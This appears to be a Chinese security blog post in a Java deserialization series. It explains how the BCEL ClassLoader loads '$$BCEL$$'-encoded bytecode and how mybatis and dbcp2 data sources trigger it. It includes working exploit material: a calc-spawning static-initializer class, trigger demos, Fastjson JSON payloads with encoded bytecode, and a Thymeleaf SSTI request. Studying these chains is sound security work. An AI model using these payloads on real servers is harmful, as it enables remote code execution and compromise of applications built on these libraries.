BCEL ClassLoader加载动态字节码|Java反序列化(十三)

BCEL ClassLoader加载动态字节码|Java反序列化(十三)

image-20221112021749020

特殊点: com.sun.org.apache.bcel是位于原生的JDK中的

使用条件:

  1. 自定义使用加载类的Classloader为com.sun.org.apache.bcel.internal.util.ClassLoader
  2. 自定义指定Classloader加载的类名

触发方式:

  1. mybatis的org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
  2. dbcp2的org.apache.commons.dbcp2.BasicDataSource.getConnection()

常用于:

  1. Fastjson反序列化

调用链

BCEL的特殊的类加载机制只是自身的一种功能, 如果没有任何外在条件和依赖的话是不能利用的, 想要利用BCEL的字节码加载恶意类并实例化从而执行恶意代码, 这就需要存在mybatis依赖或者dbcp2(Tomcat依赖里自带有dbcp2), 同时这两种触发方式的起始点都是setter方法而非readObject, 这就意味着这不是一个完整的反序列化调用链,需要其他的条件进行触发, 一般用在fastjson解析

mybatis触发:

org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
    org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.lang.String, java.lang.String)
        org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.util.Properties)
            org.apache.ibatis.datasource.unpooled.UnpooledDataSource.initializeDriver
                java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader
org.apache.commons.dbcp2.BasicDataSource.getConnection()
    org.apache.commons.dbcp2.BasicDataSource.createDataSource
        org.apache.commons.dbcp2.BasicDataSource.createConnectionFactory
            org.apache.commons.dbcp2.DriverFactory.createDriver
                java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)       #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader

触发Demo

动态加载字节码, 看到这几个字, 如果熟悉CC链的第一反应肯定是TemplateImpl加载字节码, 这里的BCEL使用效果其实差不多一个意思, BCEL就是直接通过自己的classloader函数进行类初始化。

在使用这个之前可以先看p神的BCEL ClassLoader去哪了,文章的文末尾讲到了一段BCEL有意思的更迭历史.

自定义执行恶意静态代码的类Evilcalc:

package ysoserial.payloads.h0cksrExtend;

import java.io.IOException;

public class Evilcalc {
    static{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

测试demo:

package ysoserial.payloads.h0cksrExtend;
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
import org.apache.ibatis.datasource.unpooled.UnpooledDataSource;
/*
调用链:
org.apache.ibatis.datasource.unpooled.UnpooledDataSource.getConnection()
    org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.lang.String, java.lang.String)
        org.apache.ibatis.datasource.unpooled.UnpooledDataSource.doGetConnection(java.util.Properties)
            org.apache.ibatis.datasource.unpooled.UnpooledDataSource.initializeDriver
                java.lang.Class.forName(java.lang.String, boolean, java.lang.ClassLoader)   #这里forname使用的Classloader是org.apache.bcel.util.ClassLoader
 */

public class BCEL_mybatis {
    public static void test()throws Exception {
        JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("$$BCEL$$" + code);
        UnpooledDataSource unpooledDataSource = new UnpooledDataSource();
        unpooledDataSource.setDriver("$$BCEL$$" + code);
        unpooledDataSource.setDriverClassLoader(new ClassLoader());
        unpooledDataSource.getConnection();
    }

    public static void main(String[] args) throws Exception {
        test();
    }
}
$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b11v$D$a6$a1$94$7e$7fA$c8$Bs$e8$8d$a8$X$94J$IS$aa$G$d1$f3f$b3$K$L$c6$8e$ec$N$K$bf$a8g$$P$f5$c0$P$e8$8fB$ccn$J$m$b5$87Z$f2$8c$e7$bdyof$bd$bf$af$7f$5d$B$f8$88$V$l$k$9e$f8X$c2S$P$cb$s$3fs$f1$dcG$N$_$5c$bct$f1$8a$a1$deQ$99$d2$9f$Y$aa$ad$b5$D$Gg$x$lH$86F$a22$f9e$7c$d2$97$c5$3e$ef$a7$84DI$$xz$c0$Le$ea$5b$d0$d1$87$aadh$tge$5eJ$a2$d2x$c4$cf$d2$9c$P$ca$f8pC$i$97Ew$a2e6$88$bb$a7$w$r$b9$d8d$f0$3a$o$bd$j$c9$c8$a2$99$i$f1S$k$ab$3c$de$de$ebN$84$ii$95g$d4$W$f64$X$c7$bb$7cdG$d1$d6$M$7e$_$l$XB$7eVft8$b5$5c7$fa$A3$f0$5d$bc$O$f0$Goi$_C$Ex$87$f7$M$L$ff$f0$P$f0$B$3eC$eb$7f$d7f$98$b3$$$v$cf$86$f1$5e$ffH$K$cd0$7f$P$7d$hgZ$9d$d0V$feP$ea$bb$a2$d9ZK$fe$ea$a1$a39r$o$c9r$b5$f5$80$ed$e9Be$c3$cd$87$82$afE$$dY$92$a01$oR$db$l$b2_p$n$e9$90$$$5d$acy$w$60$e6$e8$Ug$a9$8a$v3$ca$b5$f6$r$d8$b9$a5$D$8au$L$d6$RR$M$fe4$e0$R$g$94$3d$cc$dd$89$b95$D$a2$9f$a8D$d5$L8$df$7f$c0$dbi_$a0$7en$f1$Z$d2$d6P$b5$8e$8b$f4e$Q$83$F$e4$Q$92$c3$3c$c5$e9$84$Q$O$d5$RU$L$f4$ba$a8$q$$$k$3bD4$edR$8b7$U$8fY$W$a2$C$A$A

image-20221111193715977

BCEL的loadclass加载自定义恶意类

BCEL包中的com.sun.org.apache.bcel.internal.util.ClassLoader可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法,源码如下:

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

我们主要关注参数中的class_name

image-20221111191645984

可以看到loadClass函数显示会从自身的一个classes => Hashtable尝试获取class, 然后检查需要加载的类名是否以java.|javax.|sun.开始, 如果是的话则直接退出

最后检查传入的class_name 是否以$$BCEL$$开头, 如果是的话就使用com.sun.org.apache.bcel.internal.util.ClassLoader#createClass对类名进行处理加载

BCEL的自定义类创建函数createClass如何解析?

BCEL的createClass函数代码如下:

  protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));

    return clazz;
  }

我们需要重点关注的是createClass中的 com.sun.org.apache.bcel.internal.classfile.Utility#decode函数和com.sun.org.apache.bcel.internal.classfile.ClassParser#parse, 它对real_name进行了解码操作, decode函数以及加载操作, decode函数源码如下:

  public static byte[] decode(String s, boolean uncompress) throws IOException {
    char[] chars = s.toCharArray();

    CharArrayReader car = new CharArrayReader(chars);
    JavaReader      jr  = new JavaReader(car);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();

    int ch;

    while((ch = jr.read()) >= 0) {
      bos.write(ch);
    }

    bos.close();
    car.close();
    jr.close();

    byte[] bytes = bos.toByteArray();

    if(uncompress) {
      GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes));

      byte[] tmp   = new byte[bytes.length * 3]; // Rough estimate
      int    count = 0;
      int    b;

      while((b = gis.read()) >= 0)
        tmp[count++] = (byte)b;

      bytes = new byte[count];
      System.arraycopy(tmp, 0, bytes, 0, count);
    }

    return bytes;
  }

嗯嗯,,,其实大概理解为先将数据转为bytes然后再用GZIPInputStream的方式读出数据流获得二进制数据流就行了

至于com.sun.org.apache.bcel.internal.classfile.ClassParser#parse也没什么好看的, 就是按一定格式读取相关的class信息然后调用new JavaClass获取一个class对象, 详细的数据处理格式我们其实并不需要了解太多, 因为Utility.decode有对应的编码函数com.sun.org.apache.bcel.internal.classfile.Utility#encode, 我们只需要将class的使用tility#encode进行编码即可

完整的利用(触发方式)

上面的loadClass方法完成了恶意类的动态字节码类加载和实例化, 但是并没有提到完整的调用链, 一般BCEL的触发方式有两种用户导入的依赖可供选择:

  1. tomcat-dbcp
    1. tomcat7 => org.apache.tomcat.dbcp.dbcp.BasicDataSource
    2. tomcat8及其以后 => org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  2. mybatis

tomcat-dbcp

这里因为下了几个Tomcat的依赖都没找到tomcat-dbcp, 所以我就直接在pom.xml中从org.apache.commons获取commons-dbcp2了, 关键点没啥差别

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-dbcp2</artifactId>
            <version>2.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-pool2</artifactId>
            <version>2.8.0</version>
        </dependency>

触发demo:

package ysoserial.payloads.h0cksrExtend;

import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
//一般触发是通过org.apache.tomcat.dbcp.dbcp2.BasicDataSource, 但是直接下载Tomcat依赖没找到, 所以这里直接下载使用org.apache.commons的dbcp2依赖
import org.apache.commons.dbcp2.BasicDataSource;

public class BCELDemo {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("$$BCEL$$" + code);
//        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(new ClassLoader());
        basicDataSource.setDriverClassName("$$BCEL$$" + code);
        basicDataSource.getConnection();
    }
}

image-20221111212107019

tomcat-dbcp触发的关键点就在于org.apache.commons.dbcp2.BasicDataSource, 而这个类的实例化

image-20221111203858375

直接从正向简单说一下调用Gadget:

  1. org.apache.commons.dbcp2.BasicDataSource#getConnection()
  2. org.apache.commons.dbcp2.BasicDataSource#createDataSource
  3. org.apache.commons.dbcp2.BasicDataSource#createConnectionFactory
  4. org.apache.commons.dbcp2.ConnectionFactoryFactory#createConnectionFactory
  5. org.apache.commons.dbcp2.DriverFactory#createDriver

最后的DriverFactory#createDriver代码如下, 传入的basicDataSource对象就是就是调用DriverFactory#createDriver方法的对象

会从basicDataSource获取driverClassNamedriverClassLoader, 并且使用driverClassLoader去加载driverClassName这个类

image-20221111225740856

所以我们就定义basicDataSource实例对象的driverClassNamedriverClassLoader成上面的BCEL调用就行, 后面只要执行无参的getConnection方法就能完成BCEL的动态字节码加载类了

        basicDataSource.setDriverClassLoader(new ClassLoader());
        basicDataSource.setDriverClassName("$$BCEL$$" + code);
        basicDataSource.getConnection();

这个常在fastjson中使用, 触发getConnection可以通过$ref实现,$ref的相关作用可以参考下表

image-20221111232727133

或者可以将其作为key,在fastjson解析的时候就会调用它的全部getter函数

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b11v$D$a6$a1$94$7e$7fA$c8$Bs$e8$8d$a8$X$94J$IS$aa$G$d1$f3f$b3$K$L$c6$8e$ec$N$K$bf$a8g$$P$f5$c0$P$e8$8fB$ccn$J$m$b5$87Z$f2$8c$e7$bdyof$bd$bf$af$7f$5d$B$f8$88$V$l$k$9e$f8X$c2S$P$cb$s$3fs$f1$dcG$N$_$5c$bct$f1$8a$a1$deQ$99$d2$9f$Y$aa$ad$b5$D$Gg$x$lH$86F$a22$f9e$7c$d2$97$c5$3e$ef$a7$84DI$$xz$c0$Le$ea$5b$d0$d1$87$aadh$tge$5eJ$a2$d2x$c4$cf$d2$9c$P$ca$f8pC$i$97Ew$a2e6$88$bb$a7$w$r$b9$d8d$f0$3a$o$bd$j$c9$c8$a2$99$i$f1S$k$ab$3c$de$de$ebN$84$ii$95g$d4$W$f64$X$c7$bb$7cdG$d1$d6$M$7e$_$l$XB$7eVft8$b5$5c7$fa$A3$f0$5d$bc$O$f0$Goi$_C$Ex$87$f7$M$L$ff$f0$P$f0$B$3eC$eb$7f$d7f$98$b3$$$v$cf$86$f1$5e$ffH$K$cd0$7f$P$7d$hgZ$9d$d0V$feP$ea$bb$a2$d9ZK$fe$ea$a1$a39r$o$c9r$b5$f5$80$ed$e9Be$c3$cd$87$82$afE$$dY$92$a01$oR$db$l$b2_p$n$e9$90$$$5d$acy$w$60$e6$e8$Ug$a9$8a$v3$ca$b5$f6$r$d8$b9$a5$D$8au$L$d6$RR$M$fe4$e0$R$g$94$3d$cc$dd$89$b95$D$a2$9f$a8D$d5$L8$df$7f$c0$dbi_$a0$7en$f1$Z$d2$d6P$b5$8e$8b$f4e$Q$83$F$e4$Q$92$c3$3c$c5$e9$84$Q$O$d5$RU$L$f4$ba$a8$q$$$k$3bD4$edR$8b7$U$8fY$W$a2$C$A$A"
        }
    }: "x"
}

mybatis

这个其实跟上面差不多, 在网上搜了一下BCEL的触发方式找了一圈发现全都是通过tomcat-dbcp触发的, 根本没找到使用mybatis的触发方式看到的基本都是mybatis的二级缓存反序列化CVE-2020-26945(应该是我搜索方式不对?), 不过这个点我是在Java安全攻防之老版本Fastjson的一些不出网利用看到的, 找了一圈没有然后我又回去看了一下才发现原来文中已经直接说的很详细了.

demo代码:

package ysoserial.payloads.h0cksrExtend;
import org.apache.bcel.Repository;
import org.apache.bcel.classfile.JavaClass;
import org.apache.bcel.classfile.Utility;
import org.apache.bcel.util.ClassLoader;
import org.apache.ibatis.datasource.unpooled.UnpooledDataSource;

public class BCEL_mybatis {
    public static void test()throws Exception {
        JavaClass cls = Repository.lookupClass("ysoserial.payloads.h0cksrExtend.Evilcalc");
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println("$$BCEL$$" + code);
        UnpooledDataSource unpooledDataSource = new UnpooledDataSource();
        unpooledDataSource.setDriver("$$BCEL$$" + code);
        unpooledDataSource.setDriverClassLoader(new ClassLoader());
        unpooledDataSource.getConnection();
    }
    public static void main(String[] args) throws Exception {
        test();
    }
}

image-20221112004225507

和上面的tomcat-dbcp差不多, mybatis的关键类为org.apache.ibatis.datasource.unpooled.UnpooledDataSource

也是通过一个无参的getConnection方法触发org.apache.ibatis.datasource.unpooled.UnpooledDataSource#getConnection()调用链

调用过程大概如下:

  1. org.apache.ibatis.datasource.unpooled.UnpooledDataSource#getConnection()

    image-20221112000718922

  2. org.apache.ibatis.datasource.unpooled.UnpooledDataSource#doGetConnection(java.lang.String, java.lang.String)

    image-20221112000737145

  3. org.apache.ibatis.datasource.unpooled.UnpooledDataSource#doGetConnection(java.util.Properties)

    image-20221112000803889

  4. org.apache.ibatis.datasource.unpooled.UnpooledDataSource#initializeDriver

    Class.forName(driver, true, driverClassLoader)

    image-20221112000833967

是在fastjson中常被利用, 构造方法就和上面一样可以使用$ref将UnpooledDataSource对象作为key

{
    {
        "aaa": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "d": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

Thymeleaf SSTI

spring-boot下的thymeleaf模板注入目前貌似还没见过相关题目, 这里也没准备去复现了, 直接留一个学习链接:https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

POST /path HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 1010

lang=::__${"".getClass().forName("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$W$84$e2$f7$b7$t$c1$83$3dx$c4x1z$b1$w$R$83$e7$ed$b2$c1$c5$d2$92R$8c$fe$o$cf$5e$d4x$f0$H$f8$a3$8c$af$x$R$a3$7bx$_o$e6$cdL$de$7e$7c$be$bd$D$d8$c7$b6$F$Ts$W$e6$b1P$c0b$da$97L$y$9bX1$b1$ca$90$3fP$a1J$O$Z$b2$f5F$87$c18$8a$ba$92a$d6S$a1$3c$l$P$7c$Z_q$3f$m$c4$f1$o$c1$83$O$8fU$3aO$40$p$b9Q$a3$94$T$d1$c0$f5$a5$I$dc$W$7f$I$o$dem2$U$OD0$b1$$$b5$T$$n$cf$f8P$cb$u$9c$c1jG$e3X$c8$T$95$da$d8$T$d5$5e$9f$dfq$h$F$UM$ac$d9X$c7$GEP$aa$b0$b1$89$z$86Z$ca$bb$B$P$7b$ee$f1$bd$90$c3DE$nC$e5o8A$d3$c5$L$bf$_E$c2P$9dB$97$e30Q$D$ca$b5z2$f9$Z$e6$eb$N$ef$df$O$dda$c8$7b$v$Yv$ea$bf$d8v$S$ab$b0$d7$fc$zh$c5$91$90$a3Q$T$db$c8$d3$7f$a7$_$D$96$deB$d5$a2$c9$a5$ce$a8$e7v_$c0$9e4$3dC5$af$c1$Ml$aa$f6$f7$CJ$uS$_$60$f6G$7c$a1$cd$80$f2$x2N$f6$Z$c6$f5$p$8c$d3$t$8d$VI$97CV$bb90$a8$9a$84YH$3f$b2D$a8$ad$fd$81$8af2$9e$89$wH$e8h$b8$f6$Fz7$85$d0$t$C$A$A", true, "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance())}_______________

参考连接

https://www.cnblogs.com/CoLo/p/15869871.html#thymeleaf-ssti-payload

https://mp.weixin.qq.com/s/VUqnW65O6ci5iI3LaY0DZg

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

2022_11_12 第十二周星期六 01:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇